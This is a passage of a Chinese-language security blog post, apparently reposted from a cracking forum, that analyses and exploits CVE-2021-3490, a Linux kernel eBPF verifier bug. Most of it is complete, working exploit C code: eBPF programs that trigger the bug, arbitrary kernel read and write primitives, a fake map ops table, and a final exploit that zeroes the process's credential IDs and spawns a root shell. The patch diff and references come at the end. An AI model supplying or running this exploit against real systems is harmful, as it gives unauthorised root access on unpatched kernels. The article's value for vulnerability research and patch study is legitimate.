size_t read_arbitrary_addr(int map_fd, size_t addr)
{
    size_t data;
    int key;
    size_t value[0x1000];

    puts(" Loading value into map...");
    key = 1;
    value[0] = addr;
    if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
        err_exit("FAILED to load value into map!");
    }
    key = 2;
    value[0] = addr + 4;
    if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
        err_exit("FAILED to load value into map!");
    }

    data = read_arbitrary_addr_4_bytes(map_fd, 2);
    data <<= 32;
    data += read_arbitrary_addr_4_bytes(map_fd, 1);

    return data;
}

不过由于我们目前暂时不知道 page_offset_base ,因此暂时无法完成对所有物理内存搜索的工作,而只能读取内核镜像范围的内存

但是 init 进程的 PCB init_task 位于内核数据段上,init_task 的地址对我们来说是可知的,而所有进程在内核中的 PCB 构成一个双向链表,因此我们可以直接沿着这个双向链表搜索我们的进程控制块,判断是否搜索到的方法有很多,比如说对比 pid 一类的,这里笔者选择用 prctl(PR_SET_NAME, "arttnba3") 来设置 task_struct->comm

 复制代码 隐藏代码
size_t current_task;

size_t search_for_current_task(int map_fd)
{
    size_t next_task = INIT_TASK + kernel_offset + 0x818;
    size_t data;

    prctl(PR_SET_NAME, "arttnba3");

    do {
        next_task = read_arbitrary_addr(map_fd, next_task);
        data = read_arbitrary_addr(map_fd, next_task + 0x2d0);
    } while (data != *(size_t*) "arttnba3");

    current_task = next_task - 0x818;

    printf("33[32m33[1m[+] Get current task_struct's addr: 33[0m%lxn",
           current_task);
}

成功获得当前进程的 task_struct 地址:

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

五、任意地址写

我们同时有 map 的地址和内核基址,同时还能直接改写 map 内部的内容,不难想到的是我们可以直接在 map 上构造 fake map ops 后劫持 map 函数表从而劫持内核控制流

比较传统的方式就是直接栈迁移然后 ROP 执行 commit_cred(&init_cred),但笔者看到一个非常有意思的构造任意写的思路,所以这里也用这种解法(笑)

注意到 array map 的 map_get_next_key() 定义如下,当 key 小于 map.max_entries 时 key 会被写入到 next_key 当中:

 复制代码 隐藏代码
/* Called from syscall */
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
        struct bpf_array *array = container_of(map, struct bpf_array, map);
        u32 index = key ? *(u32 *)key : U32_MAX;
        u32 *next = (u32 *)next_key;

        if (index >= array->map.max_entries) {
                *next = 0;
                return 0;
        }

        if (index == array->map.max_entries - 1)
                return -ENOENT;

        *next = index + 1;
        return 0;
}

当然对于常规的调用 map_get_next_key() 的流程而言虽然 key 的内容是可控的但是 next_key 指针不是我们所能控制的:

 复制代码 隐藏代码
static int map_get_next_key(union bpf_attr *attr)
{
        //...
        next_key = kmalloc(map->key_size, GFP_USER);
        //...

        rcu_read_lock();
        err = map->ops->map_get_next_key(map, key, next_key);

但是在 map ops 当中有一些函数可以让我们控制这两个参数,我们可以将这样的函数指针替换为  map_get_next_key() 从而完成任意地址写,例如 map_push_elem() :

 复制代码 隐藏代码
struct bpf_map_ops {
        //...
        int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);

当我们更新 eBPF map 时,若 map 类型为 BPF_MAP_TYPE_QUEUE 或 BPF_MAP_TYPE_STACK ,则这个函数会被调用:

 复制代码 隐藏代码
static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,
                                void *value, __u64 flags)
{
        //...
        } else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
                   map->map_type == BPF_MAP_TYPE_STACK) {
                err = map->ops->map_push_elem(map, value, flags);

不过在我们调用 bpf_map_update_value() 时还有一个检查,若 flags 设置了 BPF_F_LOCK 标志位,则会检查 map->spin_lock_off 是否大于等于 0,若非则会直接报错返回,因此这里我们还要将该字段改为一个正整数:

 复制代码 隐藏代码
/* flags for BPF_MAP_UPDATE_ELEM command */
enum {
        BPF_ANY                = 0, /* create new element or update existing */
        BPF_NOEXIST        = 1, /* create new element if it didn't exist */
        BPF_EXIST        = 2, /* update existing element */
        BPF_F_LOCK        = 4, /* spin_lock-ed map_lookup/map_update */
}

static inline bool map_value_has_spin_lock(const struct bpf_map *map)
{
        return map->spin_lock_off >= 0;
}

static int map_update_elem(union bpf_attr *attr)
{
        //...

        if ((attr->flags & BPF_F_LOCK) &&
            !map_value_has_spin_lock(map)) {
                err = -EINVAL;
                goto err_put;
        }

        //...
        err = bpf_map_update_value(map, f, key, value, attr->flags);

最后我们的任意写方案如下:我们可以在 bpf_array.value 上构造一个 fake ops 将 ops->map_push_elem 替换为 array_map_get_next_key() ,之后替换掉 map 的函数表,并更改 map.max_entries 为 0xffffffff 、更改 map 类型为  BPF_MAP_TYPE_STACK 、更改 map.spin_lock_off 为正数来实现任意地址写,需要注意的是单次只能写 4 字节

 复制代码 隐藏代码
#define MAKE_ARBITRARY_WRITE_OPS(__map_fd)         
        /* extend the alu_limit */                     
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        /* overwrite spin_lock_off */                  
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xE4),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_MOV64_IMM(BPF_REG_5, 0x2000),               
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0),   
        /* overwrite max_entries */                     
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x8),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_MOV64_IMM(BPF_REG_5, 0xffffffff),           
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0),   
        /* overwrite map type */                        
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xC),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_MOV64_IMM(BPF_REG_5, 23),                  
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0),   
        /* overwrite the map->ops */                    
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x18),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_READ_ARRAY_MAP_IDX(2, __map_fd, BPF_REG_4),
        BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_4, 0),   
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_5, 0)


size_t fake_ops_addr;

void make_arbitrary_write_ops(int map_fd)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        MAKE_VULN_REG(map_fd),
        MAKE_ARBITRARY_WRITE_OPS(map_fd),
        BPF_EXIT_INSN()
    };
    int key;
    size_t per_ops_ptr, value[0x1000], value_idx;
    struct bpf_map_ops *ops_data;

    /* save fake ops addr into map */
    fake_ops_addr = map_addr + 0x110 + MAP_SIZE;

    /* read ops */
    value_idx = 0;
    for (size_t i = 0; i < sizeof(struct bpf_map_ops); i += 8) {
        per_ops_ptr = read_arbitrary_addr(map_fd, map_ops_addr + i);
        value[value_idx++] = per_ops_ptr;
    }

    /* load ops */
    ops_data = (struct bpf_map_ops *) value;
    ops_data->map_push_elem = (void*) (ARRAY_MAP_GET_NEXT_KEY + kernel_offset);
    key = 1;
    if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
        err_exit("FAILED to look up value!");
    }

    /* we'll take fake ops's addr from map */
    key = 2;
    value[0] = fake_ops_addr;
    if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
        err_exit("FAILED to look up value!");
    }

    /* hijack the map */
    run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

int arbitrary_write_4_bytes_by_map(int map_fd, size_t addr, unsigned int val)
{
    size_t value[0x1000];
    int key;

    key = 0;
    value[0] = val - 1;

    return bpf_map_update_elem(map_fd, &key, &value[0], addr);
}

Final Exploit

最后的 exp 如下,因为在 array_map_get_next_key() 中会检查 index != max_entries - 1 ,而 init_cred 的高 32 位必定是 0xFFFFFFFF ,因此这里笔者选择直接改写当前进程的 task_struct.cred 的 uid 与 gid 相关字段:

注:这里笔者将常用函数 & 指令封装在了 bpf_tools.h 中

 复制代码 隐藏代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <string.h>
#include <sys/prctl.h>

#include "kernelpwn.h"
#include "bpf_tools.h"

#define ARRAY_MAP_OPS   0xffffffff822363e0
#define ARRAY_MAP_GET_NEXT_KEY 0xffffffff81239c80
#define INIT_TASK       0xffffffff82e1b400
#define INIT_CRED       0xffffffff82e88f20

#define MAP_SIZE 0x2000

#define VULN_REG    BPF_REG_6

#define TRIGGER_VULN(__map_fd)                          
        /* load value into r2, make it part-unknown */  
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8),
        BPF_LDX_MEM(BPF_DW, VULN_REG, BPF_REG_8, 0),   
        BPF_MOV64_IMM(BPF_REG_4, 0xffffffff),           
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32),         
        BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_4),   
        BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1),         
        /* r3 = 0x100000002 */                          
        BPF_MOV64_IMM(BPF_REG_3, 0x1),                  
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),         
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x2),         
        /* triger the vulnerability */                  
        BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_3)


#define MAKE_VULN_REG(__map_fd)                        
        /* load value into r3, make it [0, 1] under 32 bit */               
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8),
        BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),   
        BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2),        
        BPF_MOV64_IMM(BPF_REG_0, 0),                    
        BPF_EXIT_INSN(),                                
        BPF_ALU64_REG(BPF_ADD, VULN_REG, BPF_REG_7),   
        BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1),         
        BPF_ALU64_IMM(BPF_AND, VULN_REG, 0x1),         
        BPF_MOV64_IMM(BPF_REG_0, 0)


#define READ_ARBITRARY_ADDR(__map_fd, __idx)            
        /* extend the alu->limit and do the oob read */
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xd0),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        /* write the value into bpf_map->btf */         
        BPF_READ_ARRAY_MAP_IDX(__idx, __map_fd, BPF_REG_8),     
        BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0),   
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 0x58),        
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_1, 0)


static size_t read_arbitrary_addr_4_bytes(int map_fd, int idx)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        MAKE_VULN_REG(map_fd),
        READ_ARBITRARY_ADDR(map_fd, idx),
        BPF_EXIT_INSN()
    };
    struct bpf_map_info info;
    union bpf_attr attr = {
        .info.bpf_fd = map_fd,
        .info.info_len = sizeof(info),
        .info.info = (uint64_t) &info,
    };
    size_t data;
    int ret;

    ret = run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
    if (ret < 0) {
        return 0;
    }

    memset(&info, 0, sizeof(info));
    ret = bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
    if (ret < 0) {
        return 0;
    }

    data = info.btf_id;

    return data;
}

size_t read_arbitrary_addr(int map_fd, size_t addr)
{
    size_t data;
    int key;
    size_t value[0x1000];

    key = 1;
    value[0] = addr;
    if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
        err_exit("FAILED to load value into map!");
    }
    key = 2;
    value[0] = addr + 4;
    if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
        err_exit("FAILED to load value into map!");
    }

    data = read_arbitrary_addr_4_bytes(map_fd, 2);
    data <<= 32;
    data += read_arbitrary_addr_4_bytes(map_fd, 1);

    return data;
}

size_t current_task, current_cred;

size_t search_for_current_task(int map_fd)
{
    size_t next_task = INIT_TASK + kernel_offset + 0x818;
    size_t data;

    prctl(PR_SET_NAME, "arttnba3");

    do {
        next_task = read_arbitrary_addr(map_fd, next_task);
        data = read_arbitrary_addr(map_fd, next_task + 0x2d0);
    } while (data != *(size_t*) "arttnba3");

    return next_task - 0x818;
}

#define LEAK_MAP_ADDR(__map_fd)                        
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV32_REG(VULN_REG, VULN_REG),              
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, VULN_REG),   
        BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_8),
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0)


size_t map_addr;

int leak_map_addr(int map_fd)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        LEAK_MAP_ADDR(map_fd),
        BPF_EXIT_INSN()
    };

    return run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

#define LEAK_MAP_OPS(__map_fd)                     
        /* extend the alu->limit and do the oob read */
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x110),        
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),   
        /* save the value into map */                  
        BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_7),
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0)


size_t map_ops_addr;

int leak_map_ops_addr(int map_fd)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        MAKE_VULN_REG(map_fd),
        LEAK_MAP_OPS(map_fd),
        BPF_EXIT_INSN()
    };

    return run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

#define MAKE_ARBITRARY_WRITE_OPS(__map_fd)         
        /* extend the alu_limit */                     
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        /* overwrite spin_lock_off */                  
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xE4),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_MOV64_IMM(BPF_REG_5, 0x2000),               
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0),   
        /* overwrite max_entries */                     
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x8),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_MOV64_IMM(BPF_REG_5, 0xffffffff),           
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0),   
        /* overwrite map type */                        
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xC),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_MOV64_IMM(BPF_REG_5, 23),                  
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0),   
        /* overwrite the map->ops */                    
        BPF_MOV64_REG(VULN_REG, BPF_REG_8),            
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x18),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_READ_ARRAY_MAP_IDX(2, __map_fd, BPF_REG_4),
        BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_4, 0),   
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_5, 0)


size_t fake_ops_addr;

void make_arbitrary_write_ops(int map_fd)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        MAKE_VULN_REG(map_fd),
        MAKE_ARBITRARY_WRITE_OPS(map_fd),
        BPF_EXIT_INSN()
    };
    int key;
    size_t per_ops_ptr, value[0x1000], value_idx;
    struct bpf_map_ops *ops_data;

    /* save fake ops addr into map */
    fake_ops_addr = map_addr + 0x110 + MAP_SIZE;

    /* read ops */
    value_idx = 0;
    for (size_t i = 0; i < sizeof(struct bpf_map_ops); i += 8) {
        per_ops_ptr = read_arbitrary_addr(map_fd, map_ops_addr + i);
        value[value_idx++] = per_ops_ptr;
    }

    /* load ops */
    ops_data = (struct bpf_map_ops *) value;
    ops_data->map_push_elem = (void*) (ARRAY_MAP_GET_NEXT_KEY + kernel_offset);
    key = 1;
    if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
        err_exit("FAILED to look up value!");
    }

    /* we'll take fake ops's addr from map */
    key = 2;
    value[0] = fake_ops_addr;
    if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
        err_exit("FAILED to look up value!");
    }

    /* hijack the map */
    run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

int arbitrary_write_4_bytes_by_map(int map_fd, size_t addr, unsigned int val)
{
    size_t value[0x1000];
    int key;

    key = 0;
    value[0] = val - 1;

    return bpf_map_update_elem(map_fd, &key, &value[0], addr);
}

#define READ_MAP_DATA(__map_fd, __off)                     
        /* extend the alu->limit and do the oob read */
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, __off),        
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),   
        /* save the value into map */                  
        BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_7),
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0)


/* for debug only */
void read_map_data(int map_fd)
{
    size_t map_data[0x100];
    int key;
    size_t value[0x1000];

    puts(" Loading value into map...");
    key = 0;
    value[0] = 0;
    if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
        err_exit("FAILED to load value into map!");
    }

    for (int i = 0; i < (0x110 / 8); i++) {
        struct bpf_insn prog[] = {
            TRIGGER_VULN(map_fd),
            MAKE_VULN_REG(map_fd),
            READ_MAP_DATA(map_fd, (0x110 - 0x8 * i)),
            BPF_EXIT_INSN()
        };

        if (run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0) < 0) {
            err_exit("FAILED to run bpf prog!");
        }

        key = 1;
        if (bpf_map_lookup_elem(map_fd, &key, &value) < 0) {
            err_exit("FAILED to look up the map!");
        }
        map_data[i] = value[0];
    }

    for (int i = 0; i < (0x200 / 8); i++) {
        printf("[----data dump----][%d] %lxn", i, map_data[i]);
    }
}

int main(int argc , char **argv, char **envp)
{
    int map_fd;
    int key;
    size_t value[0x1000];
    int log_fd;

    puts("33[32m33[1m[=] CVE-2021-3490 explotation by arttnba333[0m");

    puts("n Creating new eBPF map...");
    map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, MAP_SIZE, 0x100);
    if (map_fd < 0) {
        err_exit("FAILED to create eBPF map!");
    }

    puts("n Loading value into map...");
    key = 0;
    value[0] = 0;
    if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
        err_exit("FAILED to load value into map!");
    }

    puts("n Leaking addr of bpf_map.ops ...");
    if (leak_map_ops_addr(map_fd) < 0) {
        err_exit("FAILED to run the eBPF prog!");
    }

    puts("n Checking for leek...");
    key = 1;
    if (bpf_map_lookup_elem(map_fd, &key, &value) < 0) {
        err_exit("FAILED to look up value!");
    }
    if (value[0] < 0xffffffff81000000) {
        printf("[x] Got bad value: %lxn", value[0]);
        err_exit("FAILED to leak kernel info!");
    }

    map_ops_addr = value[0];
    kernel_offset = map_ops_addr - ARRAY_MAP_OPS;
    kernel_base += kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    printf("33[32m33[1m[+] Get array_map_ops leak: 33[0m%lxn", value[0]);
    printf("33[34m33[1m kernel_offset: 33[0m%lxn", kernel_offset);
    printf("33[32m33[1m[+] kernel_base: 33[0m%lxn", kernel_base);

    puts("n Leaking addr of bpf_map ...");
    if (leak_map_addr(map_fd) < 0) {
        err_exit("FAILED to run the eBPF prog!");
    }

    puts("n Checking for leek...");
    key = 1;
    if (bpf_map_lookup_elem(map_fd, &key, &value) < 0) {
        err_exit("FAILED to look up value!");
    }
    if (value[0] < 0xffff000000000000) {
        printf("[x] Got bad value: %lxn", value[0]);
        err_exit("FAILED to leak addr of bpf_map!");
    }

    map_addr = value[0] - 0x110;
    printf("33[32m33[1m[+] Get addr of bpf_map: 33[0m%lxn", map_addr);

    puts("n Search for current task_struct's addr...");
    current_task = search_for_current_task(map_fd);
    current_cred = read_arbitrary_addr(map_fd, current_task + 0xad8);
    printf("33[32m33[1m[+] Get current task_struct's addr: 33[0m%lxn",
           current_task);
    printf("33[32m33[1m[+] Get current cred's addr: 33[0m%lxn",
           current_cred);

    puts("n Hijacking the bpf_map...");
    make_arbitrary_write_ops(map_fd);

    puts("n Overwriting the current->cred...");
    for (int i = 0; i < 8; i++) {
        if (arbitrary_write_4_bytes_by_map(map_fd, current_cred+4+4*i, 0) < 0) {
            printf("33[31m33[1m[x] Failed to ovwerwrite no.%d33[0mn", i);
            err_exit("FAILED to call ops->map_push_elem()!");
        }
    }

    /* record the log in to file here */
    log_fd = open("./log.txt", O_RDWR | O_CREAT);
    if (log_fd < 0) {
        err_exit("FAILED to create log file!");
    }
    write(log_fd, bpf_log_buf, strlen(bpf_log_buf));
    close(log_fd);

    get_root_shell();

    return 0;
}

运行即可完成提权:

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

Extra. New ALU Sanitation bypass

在 这个 commit 中 ALU Sanitation 又得到了进一步的加强:

  • alu_limit 的计算方式发生了改变,不是使用指针寄存器的当前位置,而是使用一个 offset 寄存器

  • 被认为是常数的寄存器赋值会被直接更改为常量赋值

这两个新特性的引入使得本文所用的攻击方法近乎完全失效,不过这并不代表我们不能完成利用,在 D^3CTF2022-d3bpf-v2 中来自 vidar-team 的 chuj 师傅展示了一个新的技巧——由于 bpf_skb_load_bytes() 会将一个 sk_buff 的数据读到栈上,因此我们可以利用运行时为 1、verifier 确信为 0 的寄存器构造一个较长的 len 参数,从而使得数据拷贝时发生栈溢出

我们或许还需要额外的办法泄露内核地址,一个可行的方式是直接造成 kernel oops 后通过 dmesg 泄露出内核信息,这个技巧对于总会设置 oops=panic 的 CTF 题并不可用,但是大部分的真实世界环境其实都不会在 soft panic 发生时直接 panic (/proc/sys/kernel/panic_on_oops == 0),因此这个方法的可行性其实还是挺高的

0x03. 漏洞修复

在 这个 commit 中完成了对漏洞的修补操作,漏洞的修复方式也比较简单,只需要将缺失的设置 32 位边界的操作补充上就行:

 复制代码 隐藏代码
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
         s32 smin_val = src_reg->s32_min_value;
         u32 umax_val = src_reg->u32_max_value;

-        /* Assuming scalar64_min_max_and will be called so its safe
-         * to skip updating register for known 32-bit case.
-         */
-        if (src_known && dst_known)
+        if (src_known && dst_known) {
+                __mark_reg32_known(dst_reg, var32_off.value);
                 return;
+        }

         /* We get our minimum from the var_off, since that's inherently
          * bitwise.  Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
                 dst_reg->s32_min_value = dst_reg->u32_min_value;
                 dst_reg->s32_max_value = dst_reg->u32_max_value;
         }
-
}

static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
@@ -7155,11 +7153,10 @@ static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
         s32 smin_val = src_reg->s32_min_value;
         u32 umin_val = src_reg->u32_min_value;

-        /* Assuming scalar64_min_max_or will be called so it is safe
-         * to skip updating register for known case.
-         */
-        if (src_known && dst_known)
+        if (src_known && dst_known) {
+                __mark_reg32_known(dst_reg, var32_off.value);
                 return;
+        }

         /* We get our maximum from the var_off, and our minimum is the
          * maximum of the operands' minima
@@ -7224,11 +7221,10 @@ static void scalar32_min_max_xor(struct bpf_reg_state *dst_reg,
         struct tnum var32_off = tnum_subreg(dst_reg->var_off);
         s32 smin_val = src_reg->s32_min_value;

-        /* Assuming scalar64_min_max_xor will be called so it is safe
-         * to skip updating register for known case.
-         */
-        if (src_known && dst_known)
+        if (src_known && dst_known) {
+                __mark_reg32_known(dst_reg, var32_off.value);
                 return;
+        }

         /* We get both minimum and maximum from the var32_off. */
         dst_reg->u32_min_value = var32_off.value;

笔者认为这个修补方式还是比较成功的

0xFF. REFERENCE

[译] Linux Socket Filtering (LSF, aka BPF)(KernelDoc,2021)

HeapDump - eBPF指令集规范v1.0

BPF之路一bpf系统调用

【kernel exploit】CVE-2021-3490 eBPF 32位边界计算错误漏洞

eBPF漏洞CVE-2021-3490分析与利用

ebpf-pwn-A-Love-Story

D^3CTF2022-d3bpf,d3bpf-v2-WP

-官方论坛

www.52pojie.cn

--推荐给朋友

公众微信号:吾爱破解论坛

或搜微信号:pojie_52

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月8日11:33:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用https://cn-sec.com/archives/1786905.html

发表评论

匿名网友 填写信息